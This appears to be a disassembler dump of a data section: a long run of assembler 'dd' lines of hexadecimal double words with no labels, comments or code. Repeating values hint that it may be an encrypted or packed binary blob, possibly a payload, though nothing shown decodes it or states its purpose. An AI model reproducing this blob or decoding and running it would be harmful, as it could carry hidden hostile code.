		dd 0A7303BA6h, 4C7B4C57h, 0DF7B4CCFh, 6DE370E3h, 93EC3BCEh
		dd 0B260EC88h, 818722F4h, 10190F6Fh, 6DAE4D25h,	4717F31h
		dd 0E4E370E2h, 9E1CA343h, 0D027AC84h, 0D027BC8Ch, 0E4E370E1h
		dd 0DD1CAED9h, 0CBC65A04h, 7CFC30D7h, 0E57AF356h, 495570E3h
		dd 0C17AD6BCh, 0CEE37019h, 0D68B9AE3h, 4E370E3h, 0A72D3BADh
		dd 4C7B4BFFh, 317B4CCFh, 6AE370E3h, 713D3BD5h, 0D94581BEh
		dd 0C4E55273h, 29C6D825h, 0E9E6508Ch, 0AE68A60h, 6E8DECC1h
		dd 0C8FE51Bh, 0A70C64Ah, 0CEDFB79Ah, 0D68B91E3h, 4E370E3h
		dd 0A7323BA0h, 4C7B4B07h, 0AD7B4CCFh, 93E370E3h, 0E7F33BA8h
		dd 1D61A2EDh, 0E4E36572h, 0BAEBE6D6h, 8F67B8E3h, 5EF034C0h
		dd 0E8C6D637h, 0B7DB300Bh, 2BB3F0A0h, 0E4E370CBh, 0D4B9F3E3h
		dd 0E4E361BBh, 4F53BBE3h, 1F24527Bh, 0C8E2BDD4h, 0E4E03FA4h
		dd 945FB2E3h, 7C160743h, 0E09BF19Eh, 0B402FFCCh, 8CB9A424h
		dd 0E2873EB4h, 0E5868CD8h, 0DFE396E3h, 0E4E37BBBh, 163E50E3h
		dd 0C9A2BDABh, 0C93AE40Fh, 0E587500Fh, 156A5E3h, 0AA8EA397h
		dd 0B5E370E3h, 0D25CBD28h, 0CF3F148Bh, 0D68B57E3h, 4E370E3h
		dd 0A7303BA6h, 4C7B4C57h, 0DF7B4CCFh, 6DE370E3h, 0C6803BCEh
		dd 13098CA9h, 0A9063FD6h, 0AE370E3h, 0A003FCAh,	4C0DF8C1h
		dd 50A8DD74h, 0E4E365AAh, 4567F31h, 0E4E370E2h,	971CA643h
		dd 0D027B484h, 0D027BC8Ch, 0E4E370E1h, 0A01C55CCh, 0C63213DFh
		dd 0C68F6EF4h, 9E370E3h, 0A9E714B9h, 66AE11C2h,	62BC8D13h
		dd 6BFA4A07h, 0AB8F45B9h, 0F3E370E3h, 33AE36Eh,	0C62F3E2Fh
		dd 7E370E3h, 0E4E370DDh, 914FD787h, 6440BD93h, 66ECCB9Fh
		dd 6E34D1B4h, 0CC096434h, 0E4DD689Ch, 970370E3h, 812EAD22h
		dd 6906616Fh, 0E574616Fh, 0FC4670E3h, 35B04A22h, 0E6C5725Ah
		dd 0E5A5166Eh, 0FF1D70E3h, 208403B2h, 0D6722EFEh, 0FAA89AE0h
		dd 3206A629h, 64E370E3h, 0E525FE56h, 6B1470E3h,	0EA91BD20h
		dd 1A75528Fh, 0E4E364FEh, 0F967E5E3h, 74EF52Eh,	0E4E03FCBh
		dd 4567F31h, 0E4E370E2h, 971CA643h, 0D027B484h,	0D027BC8Ch
		dd 0E4E370EAh, 391C55CCh, 3FECEC2Eh, 0C58E6726h, 0E5FA3E03h
		dd 0CFE370E3h, 0D36FF225h, 1DD7E52Ch, 79C2499h,	0E4E370A6h
		dd 1630703h, 863E8584h,	0E4E015A4h, 145F32E3h, 0F3AA6B29h
		dd 0ACFED4DBh, 78F0D6FDh, 0B34EC6Eh, 32A48D62h,	0E5A5EC56h
		dd 66370E3h, 93FA3864h,	0CC78D605h, 0CEE370E3h,	0D68BAEE3h
		dd 4E370E3h, 0A4393BA1h, 4C7B4C1Fh, 0DF7B4CCFh,	96E370E3h
		dd 45093BA9h, 4ED2958Ah, 24148A57h, 0E4B0F3C4h,	0E4E06EA4h
		dd 32C256E3h, 69877502h, 0EC92B1F7h, 0B1CAA829h, 872802BBh
		dd 6949E263h, 0B3A840F4h, 0DDF5A243h, 2878D7E7h, 1AA971C0h
		dd 38DF42FEh, 7CA84FFEh, 6084B844h, 0E2F2F8AAh,	0D29F8C13h
		dd 54A3A0B6h, 0B4B2BC24h, 39948481h, 0A5067BEDh, 35FC3F03h
		dd 0E0B83D81h, 3765090Dh, 0EE0606CCh, 25071AEBh, 91F9717Dh
		dd 0E51A4E0Dh, 120BEECh, 63BCF737h, 0B5EFBDE8h,	8A22F81Fh
		dd 0BA048D67h, 0C5C67E7h, 0E1AC1F26h, 3994BCAEh, 681AA785h
		dd 0A13A3C40h, 0CE447BAFh, 0E08C6B06h, 3475E4C3h, 64FBF016h
		dd 0C82D9C8Dh, 13F97BB4h, 24F26A93h, 3BB7C5B5h,	5EE80452h
		dd 0E217C054h, 3A982F64h, 6428CF05h, 0F8A52084h, 0AA24E714h
		dd 0CDD29F84h, 92D2C74Ah, 2717C672h, 4D8B106Eh,	41982486h
		dd 6428CE93h, 5A21FDFh,	0F7443349h, 0CDD2D9FDh,	0DDD15C4Ah
		dd 297D9D8h, 7FF7CF4Fh,	0BA6B79BCh, 0BE11175Dh,	29089E5h
		dd 48BE2E1Bh, 0CCBCBF25h, 93E93C4Ah, 0BAF66E98h, 0E4B45A19h
		dd 7C2D411Fh, 0EC9A71F6h, 88AA4A49h, 8A44ED9Ch,	298AF305h
		dd 8D7BC512h, 3D3DE1Ch,	0E2EE434Fh, 732FEF64h, 0CAA842Bh
		dd 3E46C0Fh, 0E9B5F260h, 67D2D305h, 224F954Ah, 0FE8614F0h
		dd 0ADBC0B38h, 7567FA3Dh, 852CF2E1h, 1DA79C8Dh,	0A2AFA077h
		dd 0D4048E8Dh, 0CAD621F8h, 0A71B91F0h, 82EE4443h, 0ED2164EBh
		dd 0CD2CF2A9h, 6FAB82F6h, 0CB44E714h, 0A39399DCh, 747824F3h
		dd 0C17B6801h, 0A9FC5498h, 0F6AC9A4h, 11741405h, 0A4EEC1h
		dd 88663309h, 0AADA4E46h, 71B34183h, 99812CB9h,	0D853D47Ch
		dd 0A6361B46h, 365C5ABBh, 97A4F1B8h, 7C782B99h,	7E6901EDh
		dd 0CEB7362h, 0E1C9E563h, 2EEE46ACh, 0B1025894h, 5CD3B3E0h
		dd 0F8A7A9B3h, 0A76F7B93h, 0BE5707EAh, 6CAFD9EAh, 0CC0592A8h
		dd 2447E526h, 0B347E5D6h, 0FEAFD9EAh, 5B3892B0h, 8D74C1D9h
		dd 3D81D9EAh, 7CB00D96h, 24220FC7h, 8A188EA5h, 8CAFD2DFh
		dd 7BF033EAh, 1A74FCA8h, 75280AB9h, 0F5AF3A77h,	8CAFD2C2h
		dd 7E04F9EAh, 0A09E14B4h, 0A1064D16h, 8CAFC416h, 81FC0EEAh
		dd 13A7E7BAh, 24D9174Fh, 4DFB5A28h, 7496D92Bh, 8CAFD9E9h
		dd 0F3E8FB4Ah, 0B8F33D8Bh, 0B8F31593h, 8CAFD61Bh, 0E3E8391Fh
		dd 105E3A8Dh, 0A479F4A6h, 315FD9EAh, 4CE05597h,	0E8A9C297h
		dd 0A163AF00h, 6D389FB3h, 0B85957CEh, 8D448746h, 9029950Fh
		dd 0C5A201CBh, 0BD4AD5EAh, 0A4925B39h, 8CAFD2DEh, 847D488Bh
		dd 302ECE23h, 0C250AC15h, 518858Dh, 0B5356069h,	50AFCE23h
		dd 9C380615h, 8CAFD2DEh, 847D488Bh, 302ECE23h, 0C25080D2h
		dd 518858Dh, 0C9A84C2Ch, 0EEAF3AB6h, 8CAFD2C2h,	7E09F9EAh
		dd 0A09614DBh, 0A1064D16h, 8CACBA16h, 693D17EAh, 0E7A544E9h
		dd 5B1103F5h, 6EE5994Ah
		dd 4DF026FCh, 8CAF36C2h, 0FB5484EAh, 8CAFD92Bh,	0Ah dup(8CAFD9EAh)
		dd 8CADF7ABh, 0C56341EAh, 0DC5ACE55h, 0F51CAA99h, 0BD7DBC46h
		dd 5683F6ABh, 77EA748Dh, 585ACE55h, 0F51CAA9Ah,	0BD7DC72Dh
		dd 569F8AABh, 6820748Dh, 145ACE55h, 0F51CAA9Ah,	0BD7DC173h
		dd 569F8EABh, 0C4E6748Dh, 905ACE55h, 0F51CAA9Ah, 0BD7CC49Ch
		dd 574262ABh, 0C81B028Dh, 9EFDEA65h, 0F7D401EFh, 0D624BF16h
		dd 632DCCB7h, 2325BB5Bh, 0BFAC4337h, 0C3C35614h, 17793FDFh
		dd 22B735F9h, 641F1B48h, 0C8A3CF94h, 0D69CC2E9h, 0F78C9B6Fh
		dd 82ADE80h, 147DFEC6h,	0F921B37Bh, 95D30D54h, 81BB9AFBh
		dd 0AF8DD6E7h, 0FD79D8F0h, 2D1A6BB1h, 0EE9C0D90h, 8BE32A9Eh
		dd 0EBCB595Dh, 0D2C7C284h, 0A2528A1h, 0D80C978h, 7A895B22h
		dd 5664CB4Ah, 4BF01F1Bh, 0BFA9DB74h, 0ED016A27h, 3D2E1C0Bh
		dd 0BFA9DB9Bh, 9264554h, 0E4C46D6Eh, 8CAF34A3h,	415228EAh
		dd 0C8F6D995h, 0D0E9AA8h, 2A8F6F0h, 0BFAA810Eh,	0F58B8CB2h
		dd 0BFAA7BD8h, 4EB0B797h, 0C7B90947h, 8CACF4CAh, 49F297EAh
		dd 7230B6DFh, 0C821CE56h, 85FEC282h, 0C835BB28h, 7B37C282h
		dd 0B23637CCh, 0CC44555Bh, 0BFF27B41h, 497DFEC8h, 36591BFh
		dd 9AEE5D1Dh, 0C092B0AEh, 0BFAA4B48h, 7C21A298h, 0F5E2A9EBh
		dd 5138B10h, 0E3BD0141h, 0BA988EDBh, 67EEB691h,	0BD02C0A0h
		dd 6FC72FF6h, 0AF72F15Ah, 0D055B837h, 58207974h, 0BA2B74AFh
		dd 7CB6DA6Eh, 33A2113Bh, 1DF24A02h, 95DBB1FAh, 0B882A8E9h
		dd 6CA466CCh, 51809551h, 0F7AED9EAh, 0D9B6B77Dh, 9EA089A7h
		dd 91B866AEh, 7DF8B44Fh, 8085784Ah, 0FFC475Dh, 93136431h
		dd 0E7C9544Bh, 64782C6h, 206FA0ABh, 324AA656h, 1ACD863Dh
		dd 13BF54ECh, 17AF0D57h, 90799AA8h, 0AAD0AB84h,	82181955h
		dd 2DA73E40h, 8847E16Dh, 0FDAFDEA2h, 89884F19h,	677DFF1Eh
		dd 290D3B98h, 1C7DFF1Eh, 1EB0BCF3h, 4213014Fh, 0AE1A15ACh
		dd 465F0E34h, 0F1D76859h, 2B794F8Ch, 2A4AA4FEh,	1E2C22B2h
		dd 0C02BDA72h, 2233229Bh, 0BFA534E0h, 79EBB46Fh, 6AED05D5h
		dd 0DE2A4DF8h, 207C2E8Ah, 0C5C36087h, 0C8550C6Dh, 0A8AFD9EAh
		dd 0EDC63573h, 653BB3D9h, 0EBB904D0h, 0F36D369Fh, 0B50C859Bh
		dd 8A0E81F0h, 66A48338h, 0AE17A9A9h, 5301BF93h,	0B4B659FBh
		dd 0FDBEAAF0h, 8FE4A830h, 2A73B836h, 2F21FCFAh,	0AE175556h
		dd 0E2BD74EAh, 577AF3BEh, 947B71Bh, 54A852AAh, 0E985CF88h
		dd 6CCAE3C6h, 2C05BD22h, 0C1F250A5h, 0EAF86B44h, 0A2565615h
		dd 2E2C90C1h, 9F06AFB5h, 3EA45B93h, 8748E867h, 340ED9EAh
		dd 0B9168C1Dh, 7E935C47h, 6E184981h, 5ACB61EFh,	60EAD213h
		dd 2C5C62BAh, 32608E1Eh, 7AEBEEBh, 0A9A7A2E6h, 3CF7B4Bh
		dd 524AA99Fh, 4BC869DDh, 1EAF403Ah, 8AAB5E0Ah, 0C5A62764h
		dd 0EDC63573h, 0A835B5D9h, 0FD6B57BBh, 0FDC166F9h, 0E9082B9Eh
		dd 75C5FECFh, 0BA8CC10Bh, 0FA4AAABDh, 0D280F910h, 25CFD118h
		dd 0C073CF88h, 0F36DAF3Ch, 6AEFB138h, 6053CF88h, 5614605Ah
		dd 7F9FCF1Bh, 2598E199h, 0DC73CF88h, 0A0CC1517h, 0DEDC0C74h
		dd 7FAFD60Bh, 0BE55C76Dh, 0DFB995CCh, 0C3A549EEh, 65D34AEBh
		dd 1686EEB7h, 0EC564A9Dh, 0F8156E1Dh, 576FB785h, 7635591Bh
		dd 3B5EB85Bh, 0C337E1D3h, 0A54BD9EAh, 0CB88BDC0h, 0D3803F5Eh
		dd 56CBC76Ah, 91D2F402h, 0E612C282h, 70E21B66h,	0BFAA9B00h
		dd 6C4C5D80h, 0BFAA9D6Ah, 0CEAC3AD5h, 0AE248F27h, 0E080BBEh
		dd 3A5FE110h, 0C22A79D3h, 0BD03D9EAh, 4F187932h, 1D869293h
		dd 3B637AE0h, 2F5DECE5h, 0E8F492C8h, 0B01F507Eh, 0D9F7751Bh
		dd 5661E62Dh, 19C5491Bh, 0BFAABC63h, 0ED413D59h, 0C5607989h
		dd 5EF390ECh, 5C7A4696h, 0AB0066C1h, 0C15ACE93h, 48DD8037h
		dd 0A00F0487h, 54A43545h, 0F334EC55h, 0A5A187CDh, 9AEE25CBh
		dd 967C9ADBh, 30853CA4h, 0F15B15C3h, 0CFF41D42h, 21249986h
		dd 0C81D42D0h, 8D5B2AF0h, 271CD379h, 0A38D4987h, 0EEF80266h
		dd 0BB59BDBAh, 0F4AFD60Bh, 94DE9A7Ch, 9A1B6446h, 20406EDBh
		dd 0B3534604h, 11541A06h, 2C6C122Bh, 322339BEh,	725BA0Bh
		dd 0A6FAD186h, 31E3DD34h, 0BC1C8828h, 1EF3D2B8h, 91CA014Fh
		dd 0D922E9E7h, 36FBF3C4h, 6B45A987h, 915A48E0h,	0FB98C282h
		dd 0ED25FEFCh, 47B9F101h, 61A5CF94h, 7F2FC45Ch,	0D73DCF94h
		dd 10178556h, 7E80433Ah, 0EE55CF94h, 5A9ADE56h,	0BD89FB15h
		dd 904AA629h, 4823176Ch, 5189FFD2h, 0F44AA629h,	0ADAC4A3h
		dd 3C3773E7h, 0BFD13002h, 94971131h, 16EBC2C2h,	97E2C6C6h
		dd 9CADB59Fh, 415058Ch,	5F8CFE8Ah, 0E72CBEE0h, 39811554h
		dd 9EE44660h, 0C13CB389h, 0A1F11F33h, 824A8FD0h, 0A9D822C3h
		dd 0FA7F9242h, 0B3507B93h, 0E898FB51h, 3C68C681h, 8F9415E4h
		dd 420FC715h, 8824B7BEh, 0C0F27A50h, 6A75B141h,	3A5E81Ah
		dd 0CBBE0858h, 0FDD48766h, 68547631h, 184F0735h, 66E30858h
		dd 3CCD7131h, 4DC5EF5Ah, 0B9C66712h, 949084CFh,	4C0940C2h
		dd 0CAA976BAh, 567B4CDAh, 0B8B37D9h, 0A7C999F7h, 0C7CBF5DBh
		dd 5B845D33h, 68067ACCh, 41AB1786h, 0E178175Fh,	2C72EFFEh
		dd 0EA7ADC92h, 893B99DEh, 0D876FBDh, 616650B6h,	0EC684B10h
		dd 0BF20B1A1h, 521C154Dh, 0C6FA384Dh, 0B34DF13Bh, 0DEF2441Fh
		dd 3A7874Fh, 8242AF39h,	0BD8C97FFh, 83604CF0h, 9264690Bh
		dd 45C7F406h, 6C3EFB43h, 42BD9671h, 897D10D2h, 0E3C608B2h
		dd 0E6F406C4h, 4620A929h, 0EA259920h, 31D383BCh, 734308E7h
		dd 0BC798A0Ch, 0A8E43BBh, 4C67B869h, 956E9078h,	6E2361F8h
		dd 85E59652h, 0C6201F36h, 29F93D0Ch, 464EED44h,	29D404C4h
		dd 848BFEEEh, 0C623DFADh, 96FA385Ah, 0E8955E5Fh, 3A803563h
		dd 5A3F9BE4h, 0A4D7D72Ch, 0CA288970h, 0DD8085Bh, 4DB4B4Bh
		dd 0F2DF693Fh, 2E410A83h, 0E8953B5Eh, 0F3FD229Ch, 0E9178054h
		dd 0B21F7929h, 6A95D746h, 5FECC3E4h, 0E93FF4C9h, 0F6F5A829h
		dd 91A37D59h, 0D93C3D67h, 7151773Ah, 2CF7CDF2h,	3B167E1h
		dd 0BA9A74FCh, 4DFB9E54h, 0BFF27A73h, 0FEB495C9h, 0C3452C6Fh
		dd 7DA50224h, 8F26E9CEh, 0A393181Bh, 369E9A7h, 5A29C20Dh
		dd 8F666E01h, 0EE079879h, 0B9F31129h, 0FCE59615h, 9493E6E0h
		dd 0F849845Bh, 0A1681F33h, 18FD8FD0h, 0E895AB42h, 9AC7485Eh
		dd 0AD2BB6D2h, 33BD4B08h, 0E9B3AE3Ah, 0E8DD5698h, 757F65D6h
		dd 7AD21D54h, 0ED2CA82Ah, 1B18C2BDh, 0CBDF0858h, 65094B8Bh
		dd 0D3E2ACEDh, 2DE27C46h, 603B7AF2h, 6ECBC8E0h,	0E8C5EDC3h
		dd 4463E787h, 33BD99F7h, 0C7CE534Fh, 8E25A933h,	0DFF56C8h
		dd 92CF63F2h, 8494806Bh, 51FE7B73h, 99F68AEh, 0C53E3DD2h
		dd 99E3C329h, 3DEAD7AAh, 78E9A3C4h, 4E6CCA45h, 0C650154Dh
		dd 750733E1h, 0B7D4C342h, 3E8B2C58h, 66DE71C1h,	4C46DC72h
		dd 8AC78A0Ch, 9036EC23h, 87633D5h, 0B4C56AF5h, 0EAA0D162h
		dd 680676D1h, 70AB3E2Eh, 2A4EF1Dh, 6EBB085Bh, 11339831h
		dd 3C171785h, 0CF38F670h, 0DF882E7Fh, 2B4206CEh, 5D74DF4Eh
		dd 74E59189h, 6D651609h, 4462FEBEh, 573983FAh, 0F86D4729h
		dd 0C627B964h, 4C1E5833h, 0AA1956Eh, 0D7C8A0B1h, 43BA2978h
		dd 9F3FDB6Dh, 5E5F1AEBh, 0C7919736h, 0B47D8B28h, 878BAA6Ch
		dd 0AD35F10Fh, 0D7E4DE5Ah, 0B7E08B2h, 52C3C7A6h, 4B60022Bh
		dd 5C07429Fh, 9821FBBBh, 22E0C200h, 0F709AFF5h,	8EC5AEF5h
		dd 0DF796D6Dh, 0FAED15E6h
		dd 0BFE3C6D6h, 5FD13D85h, 2F5C126Eh, 0F8500982h, 5E981F33h
		dd 0EDDE3136h, 0EF793B02h, 41CAAF29h, 0CB74F2ADh, 21EB085Bh
		dd 0C888E6C7h, 62AA03CCh, 0EC273F66h, 0C63360DFh, 0EC974570h
		dd 8BDC953Ah, 0CA40A85Eh, 0C128438Bh, 47E11F33h, 75DE3136h
		dd 0FCB20794h, 1E41B1D4h, 9FF2EFFFh, 92FF6B17h,	0E9B6495Bh
		dd 0CED86C29h, 0ED5409B9h, 9E8B08B2h, 314077Fh,	4ACAFEC7h
		dd 70ED173Eh, 0EEAB1F24h, 0DDE5B3B1h, 0C6201F11h, 645E9244h
		dd 5504EF9h, 0DF1F085Bh, 229E025Dh, 338F0A5Eh, 5EED3900h
		dd 0EB20EE30h, 0AE6D1EDFh, 0F0C19C9Eh, 74749D43h, 0EC8CA019h
		dd 2FE2A3Ah, 0A27410F6h, 5E7022B1h, 239021A1h, 873BA812h
		dd 0B3510F13h, 0E6201CCAh, 76497BAAh, 0CA11EC2Eh, 17E2085Bh
		dd 0EEBB26AAh, 61442E00h, 0B67611DCh, 0CBC5EA72h, 64AF373Eh
		dd 0A6C5EA1Bh, 61669F8Dh, 33E281A6h, 0C6201F05h, 96FA3D2Dh
		dd 0E8955E5Fh, 92163563h, 1830A1DDh, 0F925C660h, 0CFAE672Eh
		dd 0C5E794DDh, 0E63BC329h, 95D93092h, 73032E29h, 2EDD8476h
		dd 934A9CB7h, 0F1511551h, 1C3F33EFh, 0BF6E7801h, 0AC5F528h
		dd 0D94C4F5h, 7431E2C7h, 0C669050Ah, 8E961F33h,	0D6C6BECh
		dd 83428CDDh, 0BC8CFC06h, 7D6CAF7h, 9D410A32h, 0A31DF620h
		dd 85B752AFh, 0FF6E52Ch, 26EEAD0Ah, 0E895AAE9h,	41213A21h
		dd 8CAF9740h, 63828141h, 0AEF24422h, 53D7543Fh,	0E2F2B2ACh
		dd 0F6919589h, 80C24C38h, 16C5F34Ch, 2746C8A6h,	0CB37A6D8h
		dd 0A0654296h, 0EDC7419Eh, 0B07B85B2h, 0C387E14h, 0CD875073h
		dd 0C6201F30h, 0A6997DADh, 0AC674C17h, 0B28E211Ah, 254F7A46h
		dd 0A3A33E57h, 1ED3D363h, 0A434C91Fh, 0F998A82Ah, 0F8828CB7h
		dd 0A0D8F8E5h, 0F6939339h, 0BED18A79h, 0FD3794EAh, 0FDBC6F04h
		dd 76497BAAh, 0A1FB3317h, 48CB1820h, 0BA155415h, 0A8928C97h
		dd 0AF34A736h, 4AF2441Fh, 0AB45797Dh, 91F2441Fh, 82D53E8Eh
		dd 4835BC92h, 0AC0FFCA8h, 239AE91Fh, 41F247EBh,	0F71C4B61h
		dd 0F925F720h, 439DEC61h, 7FC5F551h, 4C6162CAh,	837DE532h
		dd 62BFFC06h, 2A5641CCh, 52861C2Fh, 9297A11Bh, 3FF79A05h
		dd 0BA988776h, 0B0774F75h, 60F27A4Eh, 7F945D4Dh, 0DE4B08B2h
		dd 0A02BC9E1h, 0F92AD80Fh, 0AD3011A2h, 1CC5F0B9h, 0A4C4D3E0h
		dd 0B292B9FFh, 90626FDCh, 91384DC2h, 0F562F1B1h, 0F92ADD9Bh
		dd 0CEFECEA7h, 9062FB3Fh, 6E7312C2h, 0AF53E77Ch, 0DE423E0Ah
		dd 47D31F33h, 77273C29h, 0EC8890D3h, 588B61DBh,	51B5F246h
		dd 0A7FC02FDh, 7A471551h, 0BEAA3A3Ch, 0DA881551h, 0D9CE27CDh
		dd 0DC5F52ADh, 7D201F33h, 27497BAAh, 4BC5F900h,	0BC1F1A1Ch
		dd 0F156B0EBh, 0BE2B3CEFh, 1525ECE5h, 0ABA814ADh, 0E688D69Dh
		dd 62B06F29h, 54EA551Ch, 518B6082h, 155402FDh, 0BB8F1551h
		dd 0FE25C5A5h, 61A75297h, 0B1C5F5A6h, 8B355B39h, 0A16655D6h
		dd 0EF61B4C4h, 428548D9h, 7F0F4548h, 76EE5EAFh,	2DED36D8h
		dd 95D66897h, 4997CD0Bh, 0B2201FF9h, 12ADC1F9h,	28539693h
		dd 19BB396h, 0A058AB39h, 0CFDC8F9Bh, 0B5474C76h, 0C9B863ACh
		dd 6A8F2A66h, 77A93BA3h, 0DF544A51h, 0F693E00Dh, 0BEE306D5h
		dd 0FD3794EAh, 1FBC6F04h, 7ECD56D5h, 799F9F30h,	7CB11D07h
		dd 838E1824h, 8EC5EAFEh, 6A7A74AFh, 77B90E51h, 22091AD7h
		dd 0A514126Ch, 583E6803h, 42BD1551h, 95BA5FBh, 0E5A00949h
		dd 0BA08DBF4h, 1E4BBB61h, 0C620C849h, 837D3B33h, 97FE9706h
		dd 61AF38CEh, 4F79955Bh, 96AF06D0h, 78F287E1h, 0EC379EB6h
		dd 0E90DF202h, 94969029h, 0A6C88FC9h, 92DC1ECFh, 8874D662h
		dd 8A58E4BDh, 90B2B514h, 0C476D2C2h, 65668770h,	803D09B6h
		dd 36DBE2FEh, 0BB1B2681h, 0C3B92D3Eh, 0F67D9679h, 21ABE4Ah
		dd 0A1639D5Fh, 0B9D3F370h, 0F9142F90h, 0DDE252AEh, 680670C2h
		dd 541184EDh, 0D7D8914Dh, 0C620120Ah, 0E7800D78h, 40E03C0h
		dd 4D362BEAh, 5D9723E3h, 0E94B55A2h, 4206490Ch,	0D48A547Fh
		dd 1E2DE8Ah, 280D0117h,	1B02DA45h, 4F61F10Dh, 3F413FC2h
		dd 3D42AC59h, 4C695636h, 0A605AA3Ch, 74841A9Fh,	0E8989EFDh
		dd 80C24F65h, 19F27A5Fh, 318EC8A6h, 643777EEh, 0CD17E70Ch
		dd 0A199A894h, 1EE72CD0h, 8843CFD8h, 0E8955E48h, 244F2892h
		dd 359AD4B9h, 3DE5011Dh, 56E9A3C4h, 0B7E94C77h,	0B4A6606Ah
		dd 95F24400h, 0BB84954Bh, 0EC24B79Fh, 528F21A1h, 254A7AF3h
		dd 4F1DDB5Ah, 0C5EC13C2h, 0FC4CFCECh, 7A238052h, 7651385h
		dd 0F252C4F5h, 1F04BA5Ch, 1106484Fh, 0F7A09F4h,	7A5C682Dh
		dd 44F08384h, 4D755AD5h, 7FAF27B4h, 0FD4BEE10h,	0DC56A741h
		dd 445A7ACCh, 9532A332h, 4023495Bh, 0A0D8617Bh,	0F7A1439h
		dd 0E4970579h, 902EC8A3h, 4023229Eh, 0E596887Bh, 37783F52h
		dd 0AE5C5AD8h, 42978C9Fh, 0F4792CBh, 1B435E77h,	0C338BEB7h
		dd 0F998A26Fh, 0E7238379h, 9452B9B0h, 97399831h, 19F60AD1h
		dd 0A80DFBC3h, 0CBD9D7B6h, 7640A752h, 0F095199Fh, 0A246D9Dh
		dd 9135A752h, 0C6277BD9h, 0B9B41F33h, 63113D50h, 0A52CA2ADh
		dd 6F8E5803h, 4ABFF9F0h, 719B806Bh, 124FEF57h, 0F92973D0h
		dd 2822124Bh, 63E8C68h,	0C7C386BAh, 90F19D45h, 6AC54FF3h
		dd 8340E651h, 2A7B07D1h, 9BB311CCh, 83470DD2h, 9A9BF2F3h
		dd 69C550F3h, 8340E651h, 837B08FBh, 3FC7E650h, 3FEDB9A4h
		dd 409E8BA4h, 1D37AAA2h, 0E9B18D0Bh, 468DE64Ah,	675B6518h
		dd 4ADF0A3h, 98AE5186h,	0DEB65ACh, 4BC9C35h, 8340F1FCh
		dd 90999D50h, 0B0E4E2FBh, 0F140E650h, 9A559D60h, 0D1ED2FF3h
		dd 6B8B788h, 0FC1611B4h, 0AF386515h, 2E40E650h,	37C7F1B5h
		dd 5FEBB9A4h, 23EDB5A4h, 8347F28Fh, 8344F150h, 0AFC7E650h
		dd 1C4DB9A4h, 0E1B74CAEh, 87EF7D45h, 8B5A616Fh,	0B397EC0Ch
		dd 23B73151h, 52044054h, 0A6878FE1h, 58B858EDh,	3A487B47h
		dd 7BC2AA9Ch, 65C35B82h, 0EDAE1F9Ch, 8FCD09EBh,	84F41761h
		dd 0C128606Fh, 642D0B81h, 0A6B5787Ch, 9C7EAC52h, 40C5211Ah
		dd 0AED5DEE4h, 9925F170h, 0BBCD7297h, 78544F05h, 0A77CBDE2h
		dd 4A664C30h, 0D57516D2h, 57A4A9C7h, 28EDEF85h,	0AA54274Fh
		dd 0AFD6A9F3h, 84CEEF8Bh, 8342FE61h, 0EFE0E650h, 97EDAB91h
		dd 0EFC5F1A4h, 837CF1A4h, 9E83E650h, 0A533A91h,	536DC172h
		dd 0E0EBD0D5h, 0AA5413EFh, 80A70B5h, 0A5A4EF8Bh, 84CEE650h
		dd 8342FE61h, 0EFE0E650h, 97EDAB91h, 0EFC5F1A4h, 84D7F1A4h
		dd 9E83E650h, 0FE93E791h, 80501652h, 6A7F34BEh,	35D00DC4h
		dd 8340E675h, 836AFE50h, 1F51E650h, 24110981h, 1A142445h
		dd 0DA2A93FFh, 52549B92h, 35D7563Fh, 8340FD75h,	9D45E650h
		dd 0DBC78456h, 5191E8D9h, 5259D92Fh, 3478E5DFh,	99407C75h
		dd 8340E328h, 6E110650h, 8FA99D17h, 8FB96544h, 8340EC44h
		dd 6E0AB050h, 55A5DC53h, 1B38AA53h, 8340E646h, 8B4F6E6Bh
		dd 0D7FDE50Bh, 0FE27790Bh, 84CEADCEh, 830A80FDh, 43EBEF8Bh
		dd 52C061E6h, 0A5087Dh,	931ED163h, 6A66D39Bh, 8E5181D2h
		dd 91DE7374h, 0E06394B9h, 27FDE10Fh, 0EE20D57h,	0D3DFA944h
		dd 0EF550F8Eh, 0BB44C52h, 3EF81265h, 7739D9F0h,	0C59FCFDBh
		dd 4BDE1B56h, 9FAAC75Ch, 99840800h, 0F43B7138h,	2746F969h
		dd 4188EC61h, 0A89D1662h, 0CD136F4Eh, 0DFDE5EA4h, 0FA06A07Fh
		dd 9F0A5CDCh, 0FA053BF6h, 5 dup(0FA053CDCh), 0B636A3DCh
		dd 0E88D3CDCh, 9928DA26h, 0C3717575h
		dd 9BA6A8F4h, 2F36A421h, 798DC1F5h, 9928DA27h, 0C37174C1h
		dd 9BA3CFF4h, 30D2A421h, 5F8DC1F5h, 9928DA2Bh, 0C371759Dh
		dd 9B4F06F4h, 2F6EA421h, 338DC1F5h, 9928DA34h, 0C37174C9h
		dd 0ACE97988h, 9E5EA31Eh, 29E1ED8h, 46C65597h, 0AD2CA1BDh
		dd 394B97C2h, 32B4DE9h,	0E8DA1641h, 0A81FD325h,	27C5A6FAh
		dd 36A01510h, 0F1D164FAh, 0DE001E4Ah, 6C788CEDh, 0ED59069Fh
		dd 0EE35BFE3h, 0E7F623EBh, 4341E07Bh, 4D898AA6h, 0A6E6B477h
		dd 0D83A342Eh, 7FB1CFFAh, 0D83A4998h, 773F67FAh, 0DA8D5575h
		dd 642FB1CCh, 213CEB46h, 0B0053CDCh, 7D276BCFh,	3FF8FD6Bh
		dd 2F6AAE37h, 8BD594A5h, 68A492FAh, 19E20417h, 6CC4169h
		dd 3B5F65BFh, 8ACE2F27h, 5E82945Fh, 7ECF92CAh, 9774FC6Ah
		dd 0D9983140h, 0E2B53FFAh, 6F1BC9AAh, 685B3997h, 0FB0A5E77h
		dd 5081F0D0h, 838AED3Fh, 7E053CDCh, 0DC23BF36h,	43BA0618h
		dd 0D7B663CEh, 0FA65CDBAh, 52C04571h, 45B4B8D9h, 39E47106h
		dd 0B5BAAB36h, 81109FC5h, 0E56AADD0h, 0DACDB74Bh, 45B4AC0Bh
		dd 2523BF23h, 340F757Bh, 45B4ABE7h, 73C346C0h, 4F085441h
		dd 0D7B67A75h, 2830A796h, 0D86444BDh, 789B7FAh,	0DBEF98D4h
		dd 7181AEF3h, 0DA3B146h, 4C0C7CC3h, 8095D115h, 6F6AAB0Bh
		dd 27806162h, 0A0EDE4FBh, 0CBB21986h, 0FFDACBFDh, 0FA2C6FACh
		dd 0A99E75DCh, 0EA4BC6EBh, 2D64C4A5h, 92128C8Ch, 7AE04E3Dh
		dd 0A3C9C388h, 1566202h, 697D2A5Ch, 0AD12A69Dh,	441A6B7Dh
